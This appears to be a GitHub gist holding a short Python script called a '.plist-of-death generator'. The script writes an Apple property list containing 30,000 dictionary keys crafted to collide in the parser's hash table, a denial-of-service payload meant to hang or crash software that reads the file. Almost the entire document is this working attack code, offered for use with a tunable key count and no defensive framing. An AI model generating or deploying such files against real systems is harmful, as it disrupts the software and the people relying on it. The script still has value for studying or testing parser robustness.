Skip to content

Instantly share code, notes, and snippets.

@dchest
Created January 6, 2013 17:08
Show Gist options
  • Select an option

  • Save dchest/4468694 to your computer and use it in GitHub Desktop.

Select an option

Save dchest/4468694 to your computer and use it in GitHub Desktop.
.plist-of-death generator
# .plist-of-death generator
import base64
import os
# Adjust this to your taste:
NKEYS = 30000
def colliding_string():
return "a"*32 + base64.b64encode(os.urandom(10))[:14] + "a"*82
def item(n):
return "<key>" + colliding_string() + "</key>\n\t<string>" + str(n) + "</string>\n"
print("""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>""")
for n in range(NKEYS):
print(item(n))
print("""
</dict>
</plist>
""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment